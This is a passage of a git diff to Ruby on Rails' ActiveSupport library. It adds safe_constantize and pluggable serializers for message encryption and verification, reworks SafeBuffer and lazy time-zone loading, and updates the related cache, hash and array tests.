544e63132d..43134b4314 100644 --- a/activesupport/lib/active_support/core_ext/range/conversions.rb +++ b/activesupport/lib/active_support/core_ext/range/conversions.rb @@ -7,7 +7,7 @@ class Range # # ==== Example # - # [1..100].to_formatted_s # => "1..100" + # (1..100).to_formatted_s # => "1..100" def to_formatted_s(format = :default) if formatter = RANGE_FORMATS[format] formatter.call(first, last) diff --git a/activesupport/lib/active_support/core_ext/string/inflections.rb b/activesupport/lib/active_support/core_ext/string/inflections.rb index 002688d6c0..c7ceeb9de4 100644 --- a/activesupport/lib/active_support/core_ext/string/inflections.rb +++ b/activesupport/lib/active_support/core_ext/string/inflections.rb @@ -33,14 +33,27 @@ class String # +constantize+ tries to find a declared constant with the name specified # in the string. It raises a NameError when the name is not in CamelCase - # or is not initialized. + # or is not initialized. See ActiveSupport::Inflector.constantize # # Examples - # "Module".constantize # => Module - # "Class".constantize # => Class + # "Module".constantize # => Module + # "Class".constantize # => Class + # "blargle".constantize # => NameError: wrong constant name blargle def constantize ActiveSupport::Inflector.constantize(self) end + + # +safe_constantize+ tries to find a declared constant with the name specified + # in the string. It returns nil when the name is not in CamelCase + # or is not initialized. See ActiveSupport::Inflector.safe_constantize + # + # Examples + # "Module".safe_constantize # => Module + # "Class".safe_constantize # => Class + # "blargle".safe_constantize # => nil + def safe_constantize + ActiveSupport::Inflector.safe_constantize(self) + end # By default, +camelize+ converts strings to UpperCamelCase. If the argument to camelize # is set to <tt>:lower</tt> then camelize produces lowerCamelCase. diff --git a/activesupport/lib/active_support/core_ext/string/multibyte.rb b/activesupport/lib/active_support/core_ext/string/multibyte.rb index 41de4d6435..aae1cfccf2 100644 --- a/activesupport/lib/active_support/core_ext/string/multibyte.rb +++ b/activesupport/lib/active_support/core_ext/string/multibyte.rb @@ -35,7 +35,7 @@ class String # object. Interoperability problems can be resolved easily with a +to_s+ call. # # For more information about the methods defined on the Chars proxy see ActiveSupport::Multibyte::Chars. For - # information about how to change the default Multibyte behaviour see ActiveSupport::Multibyte. + # information about how to change the default Multibyte behavior see ActiveSupport::Multibyte. def mb_chars if ActiveSupport::Multibyte.proxy_class.consumes?(self) ActiveSupport::Multibyte.proxy_class.new(self) diff --git a/activesupport/lib/active_support/core_ext/string/output_safety.rb b/activesupport/lib/active_support/core_ext/string/output_safety.rb index 3bf4edbdef..5d7f74bb65 100644 --- a/activesupport/lib/active_support/core_ext/string/output_safety.rb +++ b/activesupport/lib/active_support/core_ext/string/output_safety.rb @@ -20,7 +20,7 @@ class ERB if s.html_safe? s else - s.gsub(/[&"><]/) { |special| HTML_ESCAPE[special] }.html_safe + s.gsub(/&/, "&").gsub(/\"/, """).gsub(/>/, ">").gsub(/</, "<").html_safe end end @@ -75,7 +75,7 @@ end module ActiveSupport #:nodoc: class SafeBuffer < String - UNSAFE_STRING_METHODS = ["capitalize", "chomp", "chop", "delete", "downcase", "gsub", "lstrip", "next", "reverse", "rstrip", "slice", "squeeze", "strip", "sub", "succ", "swapcase", "tr", "tr_s", "upcase"].freeze + UNSAFE_STRING_METHODS = ["capitalize", "chomp", "chop", "delete", "downcase", "gsub", "lstrip", "next", "reverse", "rstrip", "slice", "squeeze", "strip", "sub", "succ", "swapcase", "tr", "tr_s", "upcase", "prepend"].freeze alias_method :original_concat, :concat private :original_concat @@ -86,6 +86,12 @@ module ActiveSupport #:nodoc: end end + def[](*args) + new_safe_buffer = super + new_safe_buffer.instance_eval { @dirty = false } + new_safe_buffer + end + def safe_concat(value) raise SafeConcatError if dirty? original_concat(value) @@ -136,16 +142,18 @@ module ActiveSupport #:nodoc: end UNSAFE_STRING_METHODS.each do |unsafe_method| - class_eval <<-EOT, __FILE__, __LINE__ - def #{unsafe_method}(*args, &block) # def gsub(*args, &block) - to_str.#{unsafe_method}(*args, &block) # to_str.gsub(*args, &block) - end # end - - def #{unsafe_method}!(*args) # def gsub!(*args) - @dirty = true # @dirty = true - super # super - end # end - EOT + if 'String'.respond_to?(unsafe_method) + class_eval <<-EOT, __FILE__, __LINE__ + 1 + def #{unsafe_method}(*args, &block) # def capitalize(*args, &block) + to_str.#{unsafe_method}(*args, &block) # to_str.capitalize(*args, &block) + end # end + + def #{unsafe_method}!(*args) # def capitalize!(*args) + @dirty = true # @dirty = true + super # super + end # end + EOT + end end protected diff --git a/activesupport/lib/active_support/core_ext/time/calculations.rb b/activesupport/lib/active_support/core_ext/time/calculations.rb index c5fbbcf890..372dd69212 100644 --- a/activesupport/lib/active_support/core_ext/time/calculations.rb +++ b/activesupport/lib/active_support/core_ext/time/calculations.rb @@ -1,5 +1,6 @@ require 'active_support/duration' require 'active_support/core_ext/time/zones' +require 'active_support/core_ext/time/conversions' class Time COMMON_YEAR_DAYS_IN_MONTH = [nil, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31] @@ -8,7 +9,7 @@ class Time class << self # Overriding case equality method so that it returns true for ActiveSupport::TimeWithZone instances def ===(other) - other.is_a?(::Time) + super || (self == Time && other.is_a?(ActiveSupport::TimeWithZone)) end # Return the number of days in the given month. diff --git a/activesupport/lib/active_support/core_ext/time/conversions.rb b/activesupport/lib/active_support/core_ext/time/conversions.rb index d9d5e02778..49ac18d245 100644 --- a/activesupport/lib/active_support/core_ext/time/conversions.rb +++ b/activesupport/lib/active_support/core_ext/time/conversions.rb @@ -55,9 +55,31 @@ class Time utc? && alternate_utc_string || ActiveSupport::TimeZone.seconds_to_utc_offset(utc_offset, colon) end + # Converts a Time object to a Date, dropping hour, minute, and second precision. + # + # my_time = Time.now # => Mon Nov 12 22:59:51 -0500 2007 + # my_time.to_date # => Mon, 12 Nov 2007 + # + # your_time = Time.parse("1/13/2009 1:13:03 P.M.") # => Tue Jan 13 13:13:03 -0500 2009 + # your_time.to_date # => Tue, 13 Jan 2009 + def to_date + ::Date.new(year, month, day) + end unless method_defined?(:to_date) + # A method to keep Time, Date and DateTime instances interchangeable on conversions. # In this case, it simply returns +self+. def to_time self end unless method_defined?(:to_time) + + # Converts a Time instance to a Ruby DateTime instance, preserving UTC offset. + # + # my_time = Time.now # => Mon Nov 12 23:04:21 -0500 2007 + # my_time.to_datetime # => Mon, 12 Nov 2007 23:04:21 -0500 + # + # your_time = Time.parse("1/13/2009 1:13:03 P.M.") # => Tue Jan 13 13:13:03 -0500 2009 + # your_time.to_datetime # => Tue, 13 Jan 2009 13:13:03 -0500 + def to_datetime + ::DateTime.civil(year, month, day, hour, min, sec, Rational(utc_offset, 86400)) + end unless method_defined?(:to_datetime) end diff --git a/activesupport/lib/active_support/dependencies.rb b/activesupport/lib/active_support/dependencies.rb index d1543c4c58..c072a8e646 100644 --- a/activesupport/lib/active_support/dependencies.rb +++ b/activesupport/lib/active_support/dependencies.rb @@ -229,11 +229,15 @@ module ActiveSupport #:nodoc: end def load(file, *) - load_dependency(file) { super } + result = false + load_dependency(file) { result = super } + result end def require(file, *) - load_dependency(file) { super } + result = false + load_dependency(file) { result = super } + result end # Mark the given constant as unloadable. Unloadable constants are removed each @@ -417,7 +421,8 @@ module ActiveSupport #:nodoc: end def load_once_path?(path) - autoload_once_paths.any? { |base| path.starts_with? base } + # to_s works around a ruby1.9 issue where #starts_with?(Pathname) will always return false + autoload_once_paths.any? { |base| path.starts_with? base.to_s } end # Attempt to autoload the provided module name by searching for a directory @@ -478,10 +483,6 @@ module ActiveSupport #:nodoc: qualified_name = qualified_name_for from_mod, const_name path_suffix = qualified_name.underscore - trace = caller.reject {|l| l =~ %r{#{Regexp.escape(__FILE__)}}} - name_error = NameError.new("uninitialized constant #{qualified_name}") - name_error.set_backtrace(trace) - file_path = search_for_file(path_suffix) if file_path && ! loaded.include?(File.expand_path(file_path)) # We found a matching file to load @@ -500,11 +501,12 @@ module ActiveSupport #:nodoc: return parent.const_missing(const_name) rescue NameError => e raise unless e.missing_name? qualified_name_for(parent, const_name) - raise name_error end - else - raise name_error end + + raise NameError, + "uninitialized constant #{qualified_name}", + caller.reject {|l| l.starts_with? __FILE__ } end # Remove the constants that have been autoloaded, and those that have been diff --git a/activesupport/lib/active_support/deprecation/behaviors.rb b/activesupport/lib/active_support/deprecation/behaviors.rb index da4af339fc..f9505a247c 100644 --- a/activesupport/lib/active_support/deprecation/behaviors.rb +++ b/activesupport/lib/active_support/deprecation/behaviors.rb @@ -7,12 +7,12 @@ module ActiveSupport # Whether to print a backtrace along with the warning. attr_accessor :debug - # Returns the set behaviour or if one isn't set, defaults to +:stderr+ + # Returns the set behavior or if one isn't set, defaults to +:stderr+ def behavior @behavior ||= [DEFAULT_BEHAVIORS[:stderr]] end - # Sets the behaviour to the specified value. Can be a single value or an array. + # Sets the behavior to the specified value. Can be a single value or an array. # # Examples # diff --git a/activesupport/lib/active_support/file_update_checker.rb b/activesupport/lib/active_support/file_update_checker.rb index a97e9d7daf..f76ddff038 100644 --- a/activesupport/lib/active_support/file_update_checker.rb +++ b/activesupport/lib/active_support/file_update_checker.rb @@ -22,7 +22,7 @@ module ActiveSupport end def updated_at - paths.map { |path| File.stat(path).mtime }.max + paths.map { |path| File.mtime(path) }.max end def execute_if_updated diff --git a/activesupport/lib/active_support/gzip.rb b/activesupport/lib/active_support/gzip.rb index 62f9c9aa2e..9651f02c73 100644 --- a/activesupport/lib/active_support/gzip.rb +++ b/activesupport/lib/active_support/gzip.rb @@ -1,5 +1,6 @@ require 'zlib' require 'stringio' +require 'active_support/core_ext/string/encoding' module ActiveSupport # A convenient wrapper for the zlib standard library that allows compression/decompression of strings with gzip. diff --git a/activesupport/lib/active_support/hash_with_indifferent_access.rb b/activesupport/lib/active_support/hash_with_indifferent_access.rb index 59ffd24698..636f019cd5 100644 --- a/activesupport/lib/active_support/hash_with_indifferent_access.rb +++ b/activesupport/lib/active_support/hash_with_indifferent_access.rb @@ -112,7 +112,7 @@ module ActiveSupport end end - # Merges the instantized and the specified hashes together, giving precedence to the values from the second hash + # Merges the instantized and the specified hashes together, giving precedence to the values from the second hash. # Does not overwrite the existing hash. def merge(hash) self.dup.update(hash) diff --git a/activesupport/lib/active_support/i18n_railtie.rb b/activesupport/lib/active_support/i18n_railtie.rb index a25e951080..4c59fe9ac9 100644 --- a/activesupport/lib/active_support/i18n_railtie.rb +++ b/activesupport/lib/active_support/i18n_railtie.rb @@ -1,5 +1,4 @@ require "active_support" -require "rails" require "active_support/file_update_checker" require "active_support/core_ext/array/wrap" @@ -38,6 +37,8 @@ module I18n protected + @i18n_inited = false + # Setup i18n configuration def self.initialize_i18n(app) return if @i18n_inited diff --git a/activesupport/lib/active_support/inflections.rb b/activesupport/lib/active_support/inflections.rb index 06ceccdb22..daf2a1e1d9 100644 --- a/activesupport/lib/active_support/inflections.rb +++ b/activesupport/lib/active_support/inflections.rb @@ -54,6 +54,7 @@ module ActiveSupport inflect.irregular('sex', 'sexes') inflect.irregular('move', 'moves') inflect.irregular('cow', 'kine') + inflect.irregular('zombie', 'zombies') inflect.uncountable(%w(equipment information rice money species series fish sheep jeans)) end diff --git a/activesupport/lib/active_support/inflector/methods.rb b/activesupport/lib/active_support/inflector/methods.rb index 423b5abd20..934529d496 100644 --- a/activesupport/lib/active_support/inflector/methods.rb +++ b/activesupport/lib/active_support/inflector/methods.rb @@ -224,6 +224,39 @@ module ActiveSupport end end + # Tries to find a constant with the name specified in the argument string: + # + # "Module".safe_constantize # => Module + # "Test::Unit".safe_constantize # => Test::Unit + # + # The name is assumed to be the one of a top-level constant, no matter whether + # it starts with "::" or not. No lexical context is taken into account: + # + # C = 'outside' + # module M + # C = 'inside' + # C # => 'inside' + # "C".safe_constantize # => 'outside', same as ::C + # end + # + # nil is returned when the name is not in CamelCase or the constant (or part of it) is + # unknown. + # + # "blargle".safe_constantize # => nil + # "UnknownModule".safe_constantize # => nil + # "UnknownModule::Foo::Bar".safe_constantize # => nil + # + def safe_constantize(camel_cased_word) + begin + constantize(camel_cased_word) + rescue NameError => e + raise unless e.message =~ /uninitialized constant #{const_regexp(camel_cased_word)}$/ || + e.name.to_s == camel_cased_word.to_s + rescue ArgumentError => e + raise unless e.message =~ /not missing constant #{const_regexp(camel_cased_word)}\!$/ + end + end + # Turns a number into an ordinal string used to denote the position in an # ordered sequence such as 1st, 2nd, 3rd, 4th. # @@ -246,5 +279,18 @@ module ActiveSupport end end end + + private + + # Mount a regular expression that will match part by part of the constant. + # For instance, Foo::Bar::Baz will generate Foo(::Bar(::Baz)?)? + def const_regexp(camel_cased_word) #:nodoc: + parts = camel_cased_word.split("::") + last = parts.pop + + parts.reverse.inject(last) do |acc, part| + part.empty? ? acc : "#{part}(::#{acc})?" + end + end end end diff --git a/activesupport/lib/active_support/json/encoding.rb b/activesupport/lib/active_support/json/encoding.rb index 67698c1cff..469ae69258 100644 --- a/activesupport/lib/active_support/json/encoding.rb +++ b/activesupport/lib/active_support/json/encoding.rb @@ -38,7 +38,7 @@ module ActiveSupport attr_reader :options def initialize(options = nil) - @options = options + @options = options || {} @seen = Set.new end @@ -59,7 +59,7 @@ module ActiveSupport def options_for(value) if value.is_a?(Array) || value.is_a?(Hash) # hashes and arrays need to get encoder in the options, so that they can detect circular references - (options || {}).merge(:encoder => self) + options.merge(:encoder => self) else options end diff --git a/activesupport/lib/active_support/log_subscriber/test_helper.rb b/activesupport/lib/active_support/log_subscriber/test_helper.rb index 3e54134c5c..dcfcf0b63c 100644 --- a/activesupport/lib/active_support/log_subscriber/test_helper.rb +++ b/activesupport/lib/active_support/log_subscriber/test_helper.rb @@ -18,8 +18,8 @@ module ActiveSupport # Developer.all # wait # assert_equal 1, @logger.logged(:debug).size - # assert_match /Developer Load/, @logger.logged(:debug).last - # assert_match /SELECT \* FROM "developers"/, @logger.logged(:debug).last + # assert_match(/Developer Load/, @logger.logged(:debug).last) + # assert_match(/SELECT \* FROM "developers"/, @logger.logged(:debug).last) # end # end # diff --git a/activesupport/lib/active_support/message_encryptor.rb b/activesupport/lib/active_support/message_encryptor.rb index 4f7cd12d48..e14386a85d 100644 --- a/activesupport/lib/active_support/message_encryptor.rb +++ b/activesupport/lib/active_support/message_encryptor.rb @@ -13,9 +13,15 @@ module ActiveSupport class InvalidMessage < StandardError; end OpenSSLCipherError = OpenSSL::Cipher.const_defined?(:CipherError) ? OpenSSL::Cipher::CipherError : OpenSSL::CipherError - def initialize(secret, cipher = 'aes-256-cbc') + def initialize(secret, options = {}) + unless options.is_a?(Hash) + ActiveSupport::Deprecation.warn "The second parameter should be an options hash. Use :cipher => 'algorithm' to specify the cipher algorithm." + options = { :cipher => options } + end + @secret = secret - @cipher = cipher + @cipher = options[:cipher] || 'aes-256-cbc' + @serializer = options[:serializer] || Marshal end def encrypt(value) @@ -27,7 +33,7 @@ module ActiveSupport cipher.key = @secret cipher.iv = iv - encrypted_data = cipher.update(Marshal.dump(value)) + encrypted_data = cipher.update(@serializer.dump(value)) encrypted_data << cipher.final [encrypted_data, iv].map {|v| ActiveSupport::Base64.encode64s(v)}.join("--") @@ -44,7 +50,7 @@ module ActiveSupport decrypted_data = cipher.update(encrypted_data) decrypted_data << cipher.final - Marshal.load(decrypted_data) + @serializer.load(decrypted_data) rescue OpenSSLCipherError, TypeError raise InvalidMessage end diff --git a/activesupport/lib/active_support/message_verifier.rb b/activesupport/lib/active_support/message_verifier.rb index 8f3946325a..9d7c81142a 100644 --- a/activesupport/lib/active_support/message_verifier.rb +++ b/activesupport/lib/active_support/message_verifier.rb @@ -18,12 +18,23 @@ module ActiveSupport # self.current_user = User.find(id) # end # + # By default it uses Marshal to serialize the message. If you want to use another + # serialization method, you can set the serializer attribute to something that responds + # to dump and load, e.g.: + # + # @verifier.serializer = YAML class MessageVerifier class InvalidSignature < StandardError; end - def initialize(secret, digest = 'SHA1') + def initialize(secret, options = {}) + unless options.is_a?(Hash) + ActiveSupport::Deprecation.warn "The second parameter should be an options hash. Use :digest => 'algorithm' to specify the digest algorithm." + options = { :digest => options } + end + @secret = secret - @digest = digest + @digest = options[:digest] || 'SHA1' + @serializer = options[:serializer] || Marshal end def verify(signed_message) @@ -31,14 +42,14 @@ module ActiveSupport data, digest = signed_message.split("--") if data.present? && digest.present? && secure_compare(digest, generate_digest(data)) - Marshal.load(ActiveSupport::Base64.decode64(data)) + @serializer.load(ActiveSupport::Base64.decode64(data)) else raise InvalidSignature end end def generate(value) - data = ActiveSupport::Base64.encode64s(Marshal.dump(value)) + data = ActiveSupport::Base64.encode64s(@serializer.dump(value)) "#{data}--#{generate_digest(data)}" end diff --git a/activesupport/lib/active_support/notifications.rb b/activesupport/lib/active_support/notifications.rb index 77696eb1db..b5a70d5933 100644 --- a/activesupport/lib/active_support/notifications.rb +++ b/activesupport/lib/active_support/notifications.rb @@ -1,5 +1,3 @@ -require 'active_support/core_ext/module/delegation' - module ActiveSupport # Notifications provides an instrumentation API for Ruby. To instrument an # action in Ruby you just need to do: diff --git a/activesupport/lib/active_support/ordered_hash.rb b/activesupport/lib/active_support/ordered_hash.rb index 7f70628933..0264133581 100644 --- a/activesupport/lib/active_support/ordered_hash.rb +++ b/activesupport/lib/active_support/ordered_hash.rb @@ -47,6 +47,11 @@ module ActiveSupport self end + # Returns true to make sure that this hash is extractable via <tt>Array#extract_options!</tt> + def extractable_options? + true + end + # Hash is ordered in Ruby 1.9! if RUBY_VERSION < '1.9' diff --git a/activesupport/lib/active_support/railtie.rb b/activesupport/lib/active_support/railtie.rb index 04df2ea562..1638512af0 100644 --- a/activesupport/lib/active_support/railtie.rb +++ b/activesupport/lib/active_support/railtie.rb @@ -1,5 +1,4 @@ require "active_support" -require "rails" require "active_support/i18n_railtie" module ActiveSupport diff --git a/activesupport/lib/active_support/testing/assertions.rb b/activesupport/lib/active_support/testing/assertions.rb index 3864b1f5a6..f3629ada5b 100644 --- a/activesupport/lib/active_support/testing/assertions.rb +++ b/activesupport/lib/active_support/testing/assertions.rb @@ -45,15 +45,17 @@ module ActiveSupport # post :delete, :id => ... # end def assert_difference(expression, difference = 1, message = nil, &block) - exps = Array.wrap(expression).map { |e| + expressions = Array.wrap expression + + exps = expressions.map { |e| e.respond_to?(:call) ? e : lambda { eval(e, block.binding) } } before = exps.map { |e| e.call } yield - exps.each_with_index do |e, i| - error = "#{e.inspect} didn't change by #{difference}" + expressions.zip(exps).each_with_index do |(code, e), i| + error = "#{code.inspect} didn't change by #{difference}" error = "#{message}.\n#{error}" if message assert_equal(before[i] + difference, e.call, error) end diff --git a/activesupport/lib/active_support/time_with_zone.rb b/activesupport/lib/active_support/time_with_zone.rb index ec2c717942..63279d0e6d 100644 --- a/activesupport/lib/active_support/time_with_zone.rb +++ b/activesupport/lib/active_support/time_with_zone.rb @@ -12,7 +12,7 @@ module ActiveSupport # # Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)' # Time.zone.local(2007, 2, 10, 15, 30, 45) # => Sat, 10 Feb 2007 15:30:45 EST -05:00 - # Time.zone.parse('2007-02-01 15:30:45') # => Sat, 10 Feb 2007 15:30:45 EST -05:00 + # Time.zone.parse('2007-02-10 15:30:45') # => Sat, 10 Feb 2007 15:30:45 EST -05:00 # Time.zone.at(1170361845) # => Sat, 10 Feb 2007 15:30:45 EST -05:00 # Time.zone.now # => Sun, 18 May 2008 13:07:55 EDT -04:00 # Time.utc(2007, 2, 10, 20, 30, 45).in_time_zone # => Sat, 10 Feb 2007 15:30:45 EST -05:00 diff --git a/activesupport/lib/active_support/values/time_zone.rb b/activesupport/lib/active_support/values/time_zone.rb index 728921a069..35f400f9df 100644 --- a/activesupport/lib/active_support/values/time_zone.rb +++ b/activesupport/lib/active_support/values/time_zone.rb @@ -195,12 +195,8 @@ module ActiveSupport # (GMT). Seconds were chosen as the offset unit because that is the unit that # Ruby uses to represent time zone offsets (see Time#utc_offset). def initialize(name, utc_offset = nil, tzinfo = nil) - begin - require 'tzinfo' - rescue LoadError => e - $stderr.puts "You don't have tzinfo installed in your application. Please add it to your Gemfile and run bundle install" - raise e - end + self.class.send(:require_tzinfo) + @name = name @utc_offset = utc_offset @tzinfo = tzinfo || TimeZone.find_tzinfo(name) @@ -337,7 +333,12 @@ module ActiveSupport end def zones_map - @zones_map ||= Hash[MAPPING.map { |place, _| [place, create(place)] }] + @zones_map ||= begin + new_zones_names = MAPPING.keys - lazy_zones_map.keys + new_zones = Hash[new_zones_names.map { |place| [place, create(place)] }] + + lazy_zones_map.merge(new_zones) + end end # Locate a specific time zone object. If the argument is a string, it @@ -349,7 +350,7 @@ module ActiveSupport case arg when String begin - zones_map[arg] ||= lookup(arg).tap { |tz| tz.utc_offset } + lazy_zones_map[arg] ||= lookup(arg).tap { |tz| tz.utc_offset } rescue TZInfo::InvalidTimezoneIdentifier nil end @@ -367,11 +368,28 @@ module ActiveSupport @us_zones ||= all.find_all { |z| z.name =~ /US|Arizona|Indiana|Hawaii|Alaska/ } end + protected + + def require_tzinfo + require 'tzinfo' unless defined?(::TZInfo) + rescue LoadError + $stderr.puts "You don't have tzinfo installed in your application. Please add it to your Gemfile and run bundle install" + raise + end + private def lookup(name) (tzinfo = find_tzinfo(name)) && create(tzinfo.name.freeze) end + + def lazy_zones_map + require_tzinfo + + @lazy_zones_map ||= Hash.new do |hash, place| + hash[place] = create(place) if MAPPING.has_key?(place) + end + end end end end diff --git a/activesupport/test/caching_test.rb b/activesupport/test/caching_test.rb index 402c6695aa..cb5362525f 100644 --- a/activesupport/test/caching_test.rb +++ b/activesupport/test/caching_test.rb @@ -199,12 +199,20 @@ module CacheStoreBehavior @cache.write('fud', 'biz') assert_equal({"foo" => "bar", "fu" => "baz"}, @cache.read_multi('foo', 'fu')) end + + def test_read_multi_with_expires + @cache.write('foo', 'bar', :expires_in => 0.001) + @cache.write('fu', 'baz') + @cache.write('fud', 'biz') + sleep(0.002) + assert_equal({"fu" => "baz"}, @cache.read_multi('foo', 'fu')) + end def test_read_and_write_compressed_small_data @cache.write('foo', 'bar', :compress => true) raw_value = @cache.send(:read_entry, 'foo', {}).raw_value assert_equal 'bar', @cache.read('foo') - assert_equal 'bar', raw_value + assert_equal 'bar', Marshal.load(raw_value) end def test_read_and_write_compressed_large_data @@ -270,10 +278,12 @@ module CacheStoreBehavior assert !@cache.exist?('foo') end - def test_store_objects_should_be_immutable + def test_read_should_return_a_different_object_id_each_time_it_is_called @cache.write('foo', 'bar') - assert_raise(ActiveSupport::FrozenObjectError) { @cache.read('foo').gsub!(/.*/, 'baz') } - assert_equal 'bar', @cache.read('foo') + assert_not_equal @cache.read('foo').object_id, @cache.read('foo').object_id + value = @cache.read('foo') + value << 'bingo' + assert_not_equal value, @cache.read('foo') end def test_original_store_objects_should_not_be_immutable @@ -347,7 +357,7 @@ module CacheStoreBehavior def test_really_long_keys key = "" - 1000.times{key << "x"} + 900.times{key << "x"} assert_equal true, @cache.write(key, "bar") assert_equal "bar", @cache.read(key) assert_equal "bar", @cache.fetch(key) @@ -547,11 +557,29 @@ class FileStoreTest < ActiveSupport::TestCase key = @cache_with_pathname.send(:key_file_path, "views/index?id=1") assert_equal "views/index?id=1", @cache_with_pathname.send(:file_path_key, key) end + + # Because file systems have a maximum filename size, filenames > max size should be split in to directories + # If filename is 'AAAAB', where max size is 4, the returned path should be AAAA/B + def test_key_transformation_max_filename_size + key = "#{'A' * ActiveSupport::Cache::FileStore::FILENAME_MAX_SIZE}B" + path = @cache.send(:key_file_path, key) + assert path.split('/').all? { |dir_name| dir_name.size <= ActiveSupport::Cache::FileStore::FILENAME_MAX_SIZE} + assert_equal 'B', File.basename(path) + end + + # If nothing has been stored in the cache, there is a chance the cache directory does not yet exist + # Ensure delete_matched gracefully handles this case + def test_delete_matched_when_cache_directory_does_not_exist + assert_nothing_raised(Exception) do + ActiveSupport::Cache::FileStore.new('/test/cache/directory').delete_matched(/does_not_exist/) + end + end end class MemoryStoreTest < ActiveSupport::TestCase def setup - @cache = ActiveSupport::Cache.lookup_store(:memory_store, :expires_in => 60, :size => 100) + @record_size = Marshal.dump("aaaaaaaaaa").bytesize + @cache = ActiveSupport::Cache.lookup_store(:memory_store, :expires_in => 60, :size => @record_size * 10) end include CacheStoreBehavior @@ -566,7 +594,7 @@ class MemoryStoreTest < ActiveSupport::TestCase @cache.write(5, "eeeeeeeeee") && sleep(0.001) @cache.read(2) && sleep(0.001) @cache.read(4) - @cache.prune(30) + @cache.prune(@record_size * 3) assert_equal true, @cache.exist?(5) assert_equal true, @cache.exist?(4) assert_equal false, @cache.exist?(3) @@ -719,7 +747,7 @@ class CacheEntryTest < ActiveSupport::TestCase def test_non_compress_values entry = ActiveSupport::Cache::Entry.new("value") assert_equal "value", entry.value - assert_equal "value", entry.raw_value + assert_equal "value", Marshal.load(entry.raw_value) assert_equal false, entry.compressed? end end diff --git a/activesupport/test/constantize_test_cases.rb b/activesupport/test/constantize_test_cases.rb new file mode 100644 index 0000000000..81d200a0c8 --- /dev/null +++ b/activesupport/test/constantize_test_cases.rb @@ -0,0 +1,37 @@ +module Ace + module Base + class Case + end + end +end + +module ConstantizeTestCases + def run_constantize_tests_on + assert_nothing_raised { assert_equal Ace::Base::Case, yield("Ace::Base::Case") } + assert_nothing_raised { assert_equal Ace::Base::Case, yield("::Ace::Base::Case") } + assert_nothing_raised { assert_equal ConstantizeTestCases, yield("ConstantizeTestCases") } + assert_nothing_raised { assert_equal ConstantizeTestCases, yield("::ConstantizeTestCases") } + assert_raise(NameError) { yield("UnknownClass") } + assert_raise(NameError) { yield("UnknownClass::Ace") } + assert_raise(NameError) { yield("UnknownClass::Ace::Base") } + assert_raise(NameError) { yield("An invalid string") } + assert_raise(NameError) { yield("InvalidClass\n") } + assert_raise(NameError) { yield("Ace::ConstantizeTestCases") } + assert_raise(NameError) { yield("Ace::Base::ConstantizeTestCases") } + end + + def run_safe_constantize_tests_on + assert_nothing_raised { assert_equal Ace::Base::Case, yield("Ace::Base::Case") } + assert_nothing_raised { assert_equal Ace::Base::Case, yield("::Ace::Base::Case") } + assert_nothing_raised { assert_equal ConstantizeTestCases, yield("ConstantizeTestCases") } + assert_nothing_raised { assert_equal ConstantizeTestCases, yield("::ConstantizeTestCases") } + assert_nothing_raised { assert_equal nil, yield("UnknownClass") } + assert_nothing_raised { assert_equal nil, yield("UnknownClass::Ace") } + assert_nothing_raised { assert_equal nil, yield("UnknownClass::Ace::Base") } + assert_nothing_raised { assert_equal nil, yield("An invalid string") } + assert_nothing_raised { assert_equal nil, yield("InvalidClass\n") } + assert_nothing_raised { assert_equal nil, yield("blargle") } + assert_nothing_raised { assert_equal nil, yield("Ace::ConstantizeTestCases") } + assert_nothing_raised { assert_equal nil, yield("Ace::Base::ConstantizeTestCases") } + end +end
\ No newline at end of file diff --git a/activesupport/test/core_ext/array_ext_test.rb b/activesupport/test/core_ext/array_ext_test.rb index e532010b18..52231aaeb0 100644 --- a/activesupport/test/core_ext/array_ext_test.rb +++ b/activesupport/test/core_ext/array_ext_test.rb @@ -465,3 +465,13 @@ class ArrayWrapperTests < Test::Unit::TestCase assert_equal DoubtfulToAry.new.to_ary, Array.wrap(DoubtfulToAry.new) end end + +class ArrayPrependAppendTest < Test::Unit::TestCase + def test_append + assert_equal [1, 2], [1].append(2) + end + + def test_prepend + assert_equal [2, 1], [1].prepend(2) + end +end diff --git a/activesupport/test/core_ext/duplicable_test.rb b/activesupport/test/core_ext/duplicable_test.rb index 24e0ccd9b3..e48e6a7c45 100644 --- a/activesupport/test/core_ext/duplicable_test.rb +++ b/activesupport/test/core_ext/duplicable_test.rb @@ -4,22 +4,27 @@ require 'active_support/core_ext/object/duplicable' require 'active_support/core_ext/numeric/time' class DuplicableTest < Test::Unit::TestCase - NO = [nil, false, true, :symbol, 1, 2.3, BigDecimal.new('4.56'), Class.new, Module.new, 5.seconds] + RAISE_DUP = [nil, false, true, :symbol, 1, 2.3, BigDecimal.new('4.56'), 5.seconds] YES = ['1', Object.new, /foo/, [], {}, Time.now] + NO = [Class.new, Module.new] def test_duplicable - NO.each do |v| + (RAISE_DUP + NO).each do |v| assert !v.duplicable? - begin - v.dup - fail - rescue Exception - end end YES.each do |v| assert v.duplicable? + end + + (YES + NO).each do |v| assert_nothing_raised { v.dup } end + + RAISE_DUP.each do |v| + assert_raises(TypeError) do + v.dup + end + end end end diff --git a/activesupport/test/core_ext/hash_ext_test.rb b/activesupport/test/core_ext/hash_ext_test.rb index 1813ba2a4d..fa800eada2 100644 --- a/activesupport/test/core_ext/hash_ext_test.rb +++ b/activesupport/test/core_ext/hash_ext_test.rb @@ -9,7 +9,7 @@ require 'active_support/inflections' class HashExtTest < Test::Unit::TestCase class IndifferentHash < HashWithIndifferentAccess end - + class SubclassingArray < Array end @@ -272,14 +272,14 @@ class HashExtTest < Test::Unit::TestCase hash = { "urls" => { "url" => [ { "address" => "1" }, { "address" => "2" } ] }}.with_indifferent_access assert_equal "1", hash[:urls][:url].first[:address] end - + def test_should_preserve_array_subclass_when_value_is_array array = SubclassingArray.new array << { "address" => "1" } hash = { "urls" => { "url" => array }}.with_indifferent_access assert_equal SubclassingArray, hash[:urls][:url].class end - + def test_should_preserve_array_class_when_hash_value_is_frozen_array array = SubclassingArray.new array << { "address" => "1" } @@ -543,7 +543,7 @@ class HashExtToParamTests < Test::Unit::TestCase end def test_to_param_hash - assert_equal 'custom2=param2-1&custom=param-1', {ToParam.new('custom') => ToParam.new('param'), ToParam.new('custom2') => ToParam.new('param2')}.to_param + assert_equal 'custom-1=param-1&custom2-1=param2-1', {ToParam.new('custom') => ToParam.new('param'), ToParam.new('custom2') => ToParam.new('param2')}.to_param end def test_to_param_hash_escapes_its_keys_and_values @@ -955,13 +955,13 @@ class HashToXmlTest < Test::Unit::TestCase hash = Hash.from_xml(xml) assert_equal "bacon is the best", hash['blog']['name'] end - + def test_empty_cdata_from_xml xml = 